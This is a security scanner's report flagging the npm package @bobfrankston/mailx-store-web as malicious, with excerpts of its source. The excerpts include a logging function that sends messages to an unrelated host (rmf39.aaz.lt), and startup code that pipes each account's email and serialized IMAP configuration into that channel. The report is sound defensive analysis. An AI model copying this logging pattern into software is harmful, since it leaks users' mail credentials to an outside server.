@bobfrankston/mailx-store-web@0.1.97: Malicious npm security | LPM Firewall

Loading npm security reports…

@bobfrankston/mailx-store-web@0.1.97: Malicious npm security | LPM Firewall

Source & flagged code

4 flagged · loading source

worker-bundle.jsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/rmfmail@1.2.295 matchedPath = packages/mailx-store-web/worker-bundle.js matchedIdentity = npm:QGJvYmZyYW5rc3Rvbi9ybWZtYWls:1.2.295 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

worker-bundle.jsView on unpkg

android-bootstrap.tsView file

54/** Verbose log — goes to logit but doesn't clutter the screen (silent=true) */ function vlog(msg: string): void { try { fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => {}); } catch { /* ignore */ }

High

Ai Review Evidence

The Android bootstrap sends verbose log messages to an unrelated remote host.

android-bootstrap.tsView on unpkg · L54

1525// Read accounts directly from GDrive (bypass IndexedDB cache) narrate("Loading accounts from Google Drive…"); const gdriveAccounts = await loadAccountsFromCloud(); console.log(`[android] GDrive returned ${gdriveAccounts.length} accounts: ${gdriveAccounts.map(a => a.id).join(",")}`); if (gdriveAccounts.length > 0) { // Use canonical GDrive accounts (upsert handles overwrites) accounts = gdriveAccounts; const enabled = accounts.filter(a => a.enabled);

High

Ai Review Evidence

Startup serializes each account's full IMAP configuration into that remote log stream.

android-bootstrap.tsView on unpkg · L1525

1533narrate(`Found ${enabled.length} account(s): ${enabled.map(a => a.email || a.id).join(", ")}`); let setUp = 0; for (const account of accounts) { vlog(`init: registering ${account.id} email=${account.email} enabled=${account.enabled} imap=${JSON.stringify(account.imap)}`); if (!account.enabled) { vlog(`init: ${account.id} disabled, skipping`);

High

Ai Review Evidence

Startup serializes each account's full IMAP configuration into that remote log stream.

android-bootstrap.tsView on unpkg · L1533

Source & flagged code

4 flagged

worker-bundle.jsView file

•matchType = normalized_sha256 matchedPackage = @bobfrankston/rmfmail@1.2.295 matchedPath = packages/mailx-store-web/worker-bundle.js matchedIdentity = npm:QGJvYmZyYW5rc3Rvbi9ybWZtYWls:1.2.295 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

worker-bundle.jsView on unpkg

android-bootstrap.tsView file

Lines 34-74typescript

34let syncManager: AndroidSyncManager;

35const eventHandlers: ((event: any) => void)[] = [];

36

37// ── Event emitter ──

38

39function emitEvent(event: any): void {

40 for (const h of eventHandlers) {

41 try { h(event); } catch { /* ignore */ }

42 }

43 if (typeof (window as any)._msgapiServiceEvent === "function") {

44 (window as any)._msgapiServiceEvent(event);

45 }

46}

47

48// ── Helpers ──

49

50function toEmailAddress(addr: { name?: string; address?: string } | undefined): EmailAddress {

51 return { name: addr?.name || "", address: addr?.address || "" };

52}

53

54/** Verbose log — goes to logit but doesn't clutter the screen (silent=true) */

55function vlog(msg: string): void {

56 try {

57 fetch(`https://rmf39.aaz.lt/logit/${encodeURIComponent("V/" + msg.substring(0, 800))}?log=mailx-android&silent=true`).catch(() => {});

58 } catch { /* ignore */ }

High

Ai Review Evidence

The Android bootstrap sends verbose log messages to an unrelated remote host.

android-bootstrap.tsView on unpkg · L54

59}

60

61/** C156: user-visible bootstrap narration. A new-device install looked

62 * frozen (Bob 2026-07-22) because the stage breadcrumbs only went to vlog.

63 * This logs (console capture shows it pre-UI) AND emits a bootstrapStatus

64 * event the client renders in the status bar + folder-tree loading slot. */

65function narrate(msg: string): void {

66 console.log(`[android] ${msg}`);

67 emitEvent({ type: "bootstrapStatus", message: msg });

68}

69

70// ── Sync Manager ──

71

72/** Race a promise against a wall-clock timeout. On timeout it REJECTS so the

73 * caller's try/catch moves on — the underlying op may keep running in the

74 * background, but it can no longer STALL the whole sync. Critical on Android:

Lines 1505-1553typescript

1505 const tk = await tp();

1506 const lr = await fetch(

1507 `https://www.googleapis.com/drive/v3/files?q='${folderId}'+in+parents+and+trashed%3Dfalse&fields=files(id,name,mimeType,owners(emailAddress))`,